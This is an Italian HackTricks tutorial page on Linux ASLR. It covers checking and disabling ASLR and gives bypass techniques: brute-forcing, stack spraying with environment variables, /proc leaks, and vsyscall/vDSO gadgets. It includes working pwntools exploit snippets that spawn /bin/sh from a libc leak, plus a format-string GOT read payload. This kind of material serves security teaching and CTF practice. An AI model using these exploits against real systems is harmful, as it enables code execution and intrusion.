ASLR

Impara l'hacking AWS da zero a eroe con htARTE (Esperto Red Team AWS di HackTricks)!

Altri modi per supportare HackTricks:

Informazioni di Base

Address Space Layout Randomization (ASLR) è una tecnica di sicurezza utilizzata nei sistemi operativi per randomizzare gli indirizzi di memoria utilizzati dai processi di sistema e dalle applicazioni. In questo modo, rende significativamente più difficile per un attaccante prevedere la posizione di processi e dati specifici, come lo stack, l'heap e le librerie, mitigando così determinati tipi di exploit, in particolare gli overflow di buffer.

Verifica dello Stato di ASLR

Per verificare lo stato di ASLR su un sistema Linux, è possibile leggere il valore dal file /proc/sys/kernel/randomize_va_space. Il valore memorizzato in questo file determina il tipo di ASLR applicato:

  • 0: Nessuna randomizzazione. Tutto è statico.

  • 1: Randomizzazione conservativa. Le librerie condivise, lo stack, mmap(), la pagina VDSO sono randomizzati.

  • 2: Randomizzazione completa. Oltre agli elementi randomizzati dalla randomizzazione conservativa, la memoria gestita tramite brk() è randomizzata.

È possibile verificare lo stato di ASLR con il seguente comando:

cat /proc/sys/kernel/randomize_va_space

Disabilitazione di ASLR

Per disabilitare ASLR, imposti il valore di /proc/sys/kernel/randomize_va_space a 0. Disabilitare ASLR non è generalmente consigliato al di fuori di scenari di testing o debug. Ecco come puoi disabilitarlo:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Puoi anche disabilitare ASLR per un'esecuzione con:

setarch `arch` -R ./bin args
setarch `uname -m` -R ./bin args

Abilitazione di ASLR

Per abilitare ASLR, è possibile scrivere un valore di 2 nel file /proc/sys/kernel/randomize_va_space. Questo richiede tipicamente privilegi di root. Abilitare la piena randomizzazione può essere fatto con il seguente comando:

echo 2 | sudo tee /proc/sys/kernel/randomize_va_space

Persistenza attraverso i riavvii

Le modifiche apportate con i comandi echo sono temporanee e verranno ripristinate al riavvio. Per rendere persistente la modifica, è necessario modificare il file /etc/sysctl.conf e aggiungere o modificare la seguente riga:

kernel.randomize_va_space=2 # Enable ASLR
# or
kernel.randomize_va_space=0 # Disable ASLR

Dopo aver modificato /etc/sysctl.conf, applica le modifiche con:

sudo sysctl -p

Questo assicurerà che le impostazioni di ASLR rimangano attive anche dopo i riavvii.

Bypass

Forzatura a 32 bit

PaX divide lo spazio degli indirizzi del processo in 3 gruppi:

  • Codice e dati (inizializzati e non inizializzati): .text, .data, e .bss —> 16 bit di entropia nella variabile delta_exec. Questa variabile viene inizializzata casualmente con ogni processo e aggiunta agli indirizzi iniziali.

  • Memoria allocata da mmap() e librerie condivise —> 16 bit, chiamati delta_mmap.

  • Lo stack —> 24 bit, indicato come delta_stack. Tuttavia, utilizza effettivamente 11 bit (dal 10° al 20° byte incluso), allineati a 16 byte —> Ciò porta a 524.288 possibili indirizzi reali dello stack.

I dati precedenti sono per sistemi a 32 bit e la ridotta entropia finale rende possibile aggirare l'ASLR riprovando l'esecuzione più volte fino a quando l'exploit viene completato con successo.

Idee per la forzatura:

  • Se si dispone di un overflow sufficientemente grande per ospitare un ampio NOP sled prima del codice shell, è possibile forzare gli indirizzi nello stack fino a quando il flusso salta una parte del NOP sled.

  • Un'altra opzione in questo caso, nel caso in cui l'overflow non sia così grande e l'exploit possa essere eseguito in locale, è possibile aggiungere il NOP sled e il codice shell in una variabile di ambiente.

  • Se l'exploit è locale, è possibile tentare di forzare l'indirizzo di base di libc (utile per sistemi a 32 bit):

for off in range(0xb7000000, 0xb8000000, 0x1000):
  • Se stai attaccando un server remoto, potresti provare a forzare l'indirizzo della funzione usleep della libc, passando come argomento 10 (per esempio). Se a un certo punto il server impiega 10 secondi in più per rispondere, hai trovato l'indirizzo di questa funzione.

Nei sistemi a 64 bit l'entropia è molto più alta e questo non dovrebbe essere possibile.

Forzatura dello stack a 64 bit

È possibile occupare una grande parte dello stack con variabili d'ambiente e poi provare ad abusare del binario centinaia/migliaia di volte in locale per sfruttarlo. Il codice seguente mostra come sia possibile selezionare semplicemente un indirizzo nello stack e ogni centinaia di esecuzioni quell'indirizzo conterrà l'istruzione NOP:

//clang -o aslr-testing aslr-testing.c -fno-stack-protector -Wno-format-security -no-pie
#include <stdio.h>

int main() {
unsigned long long address = 0xffffff1e7e38;
unsigned int* ptr = (unsigned int*)address;
unsigned int value = *ptr;
printf("The 4 bytes from address 0xffffff1e7e38: 0x%x\n", value);
return 0;
}
import subprocess
import traceback

# Start the process
nop = b"\xD5\x1F\x20\x03" # ARM64 NOP transposed
n_nops = int(128000/4)
shellcode_env_var = nop * n_nops

# Define the environment variables you want to set
env_vars = {
'a': shellcode_env_var,
'b': shellcode_env_var,
'c': shellcode_env_var,
'd': shellcode_env_var,
'e': shellcode_env_var,
'f': shellcode_env_var,
'g': shellcode_env_var,
'h': shellcode_env_var,
'i': shellcode_env_var,
'j': shellcode_env_var,
'k': shellcode_env_var,
'l': shellcode_env_var,
'm': shellcode_env_var,
'n': shellcode_env_var,
'o': shellcode_env_var,
'p': shellcode_env_var,
}

cont = 0
while True:
cont += 1

if cont % 10000 == 0:
break

print(cont, end="\r")
# Define the path to your binary
binary_path = './aslr-testing'

try:
process = subprocess.Popen(binary_path, env=env_vars, stdout=subprocess.PIPE, text=True)
output = process.communicate()[0]
if "0xd5" in str(output):
print(str(cont) + " -> " + output)
except Exception as e:
print(e)
print(traceback.format_exc())
pass

Informazioni locali (/proc/[pid]/stat)

Il file /proc/[pid]/stat di un processo è sempre leggibile da chiunque e contiene informazioni interessanti come:

  • startcode & endcode: Indirizzi sopra e sotto con il TESTO del binario

  • startstack: L'indirizzo di inizio dello stack

  • start_data & end_data: Indirizzi sopra e sotto dove si trova il BSS

  • kstkesp & kstkeip: Indirizzi correnti di ESP e EIP

  • arg_start & arg_end: Indirizzi sopra e sotto dove si trovano gli argomenti della riga di comando

  • env_start & env_end: Indirizzi sopra e sotto dove si trovano le variabili d'ambiente

Pertanto, se l'attaccante si trova nello stesso computer del binario che viene sfruttato e questo binario non si aspetta l'overflow dagli argomenti grezzi, ma da un diverso input che può essere creato dopo aver letto questo file. È possibile per un attaccante ottenere alcuni indirizzi da questo file e costruire offset da essi per lo sfruttamento.

Per ulteriori informazioni su questo file controlla https://man7.org/linux/man-pages/man5/proc.5.html cercando /proc/pid/stat

Avere una fuga

  • La sfida consiste nel fornire una fuga

Se ti viene fornita una fuga (sfide CTF facili), puoi calcolare offset da essa (supponendo ad esempio di conoscere l'esatta versione di libc utilizzata nel sistema che stai sfruttando). Questo exploit di esempio è estratto dall'esempio da qui (controlla quella pagina per ulteriori dettagli):

from pwn import *

elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()

p.recvuntil('at: ')
system_leak = int(p.recvline(), 16)

libc.address = system_leak - libc.sym['system']
log.success(f'LIBC base: {hex(libc.address)}')

payload = flat(
'A' * 32,
libc.sym['system'],
0x0,        # return address
next(libc.search(b'/bin/sh'))
)

p.sendline(payload)

p.interactive()
  • ret2plt

Sfruttando un overflow del buffer sarebbe possibile sfruttare un ret2plt per estrarre un indirizzo di una funzione dalla libc. Controlla:

pageRet2plt
  • Format Strings Arbitrary Read

Proprio come in ret2plt, se si dispone di una lettura arbitraria tramite una vulnerabilità delle stringhe di formato, è possibile estrarre l'indirizzo di una funzione della libc dal GOT. Il seguente esempio è da qui:

payload = p32(elf.got['puts'])  # p64() if 64-bit
payload += b'|'
payload += b'%3$s'              # The third parameter points at the start of the buffer

# this part is only relevant if you need to call the main function again

payload = payload.ljust(40, b'A')   # 40 is the offset until you're overwriting the instruction pointer
payload += p32(elf.symbols['main'])

Puoi trovare ulteriori informazioni sull'arbitrary read delle stringhe di formato in:

pageFormat Strings

Ret2ret & Ret2pop

Prova a eludere l'ASLR sfruttando gli indirizzi all'interno dello stack:

pageRet2ret & Reo2pop

vsyscall

Il meccanismo vsyscall serve per migliorare le prestazioni consentendo a determinate chiamate di sistema di essere eseguite nello spazio utente, anche se fanno fondamentalmente parte del kernel. Il vantaggio critico delle vsyscall risiede nei loro indirizzi fissi, che non sono soggetti a ASLR (Randomizzazione della disposizione dello spazio degli indirizzi). Questa natura fissa significa che gli attaccanti non necessitano di una vulnerabilità di leak di informazioni per determinare i loro indirizzi e utilizzarli in un exploit. Tuttavia, qui non saranno trovati gadget super interessanti (anche se ad esempio è possibile ottenere un equivalente di ret;)

(L'esempio e il codice seguenti sono tratti da questo writeup)

Ad esempio, un attaccante potrebbe utilizzare l'indirizzo 0xffffffffff600800 all'interno di un exploit. Mentre tentare di saltare direttamente a un'istruzione ret potrebbe portare a instabilità o crash dopo l'esecuzione di un paio di gadget, saltare all'inizio di una syscall fornita dalla sezione vsyscall può risultare vincente. Posizionando attentamente un gadget ROP che porta l'esecuzione a questo indirizzo vsyscall, un attaccante può ottenere l'esecuzione del codice senza dover eludere ASLR per questa parte dell'exploit.

ef➤  vmmap
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555556000 0x0000000000000000 r-x /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555755000 0x0000555555756000 0x0000000000001000 rw- /Hackery/pod/modules/partial_overwrite/hacklu15_stackstuff/stackstuff
0x0000555555756000 0x0000555555777000 0x0000000000000000 rw- [heap]
0x00007ffff7dcc000 0x00007ffff7df1000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7df1000 0x00007ffff7f64000 0x0000000000025000 r-x /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7f64000 0x00007ffff7fad000 0x0000000000198000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fad000 0x00007ffff7fb0000 0x00000000001e0000 r-- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb0000 0x00007ffff7fb3000 0x00000000001e3000 rw- /usr/lib/x86_64-linux-gnu/libc-2.29.so
0x00007ffff7fb3000 0x00007ffff7fb9000 0x0000000000000000 rw-
0x00007ffff7fce000 0x00007ffff7fd1000 0x0000000000000000 r-- [vvar]
0x00007ffff7fd1000 0x00007ffff7fd2000 0x0000000000000000 r-x [vdso]
0x00007ffff7fd2000 0x00007ffff7fd3000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7fd3000 0x00007ffff7ff4000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ff4000 0x00007ffff7ffc000 0x0000000000022000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x0000000000029000 r-- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002a000 rw- /usr/lib/x86_64-linux-gnu/ld-2.29.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
gef➤  x.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]
A syntax error in expression, near `.g <pre> 0xffffffffff601000 0x0000000000000000 r-x [vsyscall]'.
gef➤  x/8g 0xffffffffff600000
0xffffffffff600000:    0xf00000060c0c748    0xccccccccccccc305
0xffffffffff600010:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600020:    0xcccccccccccccccc    0xcccccccccccccccc
0xffffffffff600030:    0xcccccccccccccccc    0xcccccccccccccccc
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3
gef➤  x/4i 0xffffffffff600800
0xffffffffff600800:    mov    rax,0x135
0xffffffffff600807:    syscall
0xffffffffff600809:    ret
0xffffffffff60080a:    int3

vDSO

Nota quindi come potrebbe essere possibile bypassare ASLR abusando del vdso se il kernel è compilato con CONFIG_COMPAT_VDSO poiché l'indirizzo vdso non verrà randomizzato. Per ulteriori informazioni controlla:

pageRet2vDSO

Last updated